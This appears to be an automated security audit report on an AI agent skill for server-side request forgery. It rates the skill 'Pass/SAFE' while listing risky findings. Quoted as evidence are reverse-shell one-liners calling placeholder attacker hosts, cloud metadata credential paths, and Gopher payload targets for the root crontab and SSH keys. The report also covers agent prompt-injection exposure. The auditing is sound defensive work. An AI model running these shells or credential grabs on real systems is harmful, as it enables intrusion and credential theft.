ssrf-server-side-request-forgery
Pass
Audited by Gen Agent Trust Hub on Sep 26, 2026
Risk Level: SAFECOMMAND_EXECUTIONDATA_EXFILTRATIONPERSISTENCEINDIRECT_PROMPT_INJECTIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The playbook contains literal examples of reverse shell payloads designed for execution on target systems.
- Evidence in
SKILL.md:bash -i >& /dev/tcp/attacker.com/4444 0>&1. - Evidence in
SCENARIOS.md:bash -i >& /dev/tcp/ATTACKER/4444 0>&1. - Evidence in
URL_PARSER_TRICKS.md:bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. - [DATA_EXFILTRATION]: The skill provides exhaustive lists of internal cloud metadata endpoints and instructions for exfiltrating sensitive credentials (IAM tokens, service account keys, environment variables).
- Evidence in
SKILL.md: Detailed paths for AWS (/latest/meta-data/iam/security-credentials/), Google Cloud, Azure, and Alibaba Cloud. - Evidence in
URL_PARSER_TRICKS.md: Extensive catalog including ECS Task Metadata, Lambda environment variables (/proc/self/environ), and Kubernetes secrets. - [PERSISTENCE]: The documentation describes methods for maintaining access to a compromised server by writing to system files via protocol injection.
- Evidence in
URL_PARSER_TRICKS.md: Redis-to-Gopher payloads for writing to/var/spool/cron/(root crontab) and/root/.ssh/authorized_keys. - [REMOTE_CODE_EXECUTION]: The skill references and provides instructions for using external exploitation frameworks.
- Evidence in
SCENARIOS.md: References tosingularity(DNS rebinding framework) andGopherus(gopher payload generator). - [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and process untrusted external data (URLs, IP addresses, DNS names) provided by users or parsed from external sources.
- Ingestion points: Processes parameters like
url=,imageUrl=,callback=, andsrc=as defined inSKILL.md. - Boundary markers: None identified; instructions do not include specific delimiters or warnings to ignore instructions embedded within the processed URLs.
- Capability inventory: The skill does not contain executable scripts but instructs an agent on how to use network tools and URL parsers to reach internal infrastructure.
- Sanitization: No evidence of input validation, escaping, or sanitization for the provided URLs before they are processed by the agent's logic.
Audit Metadata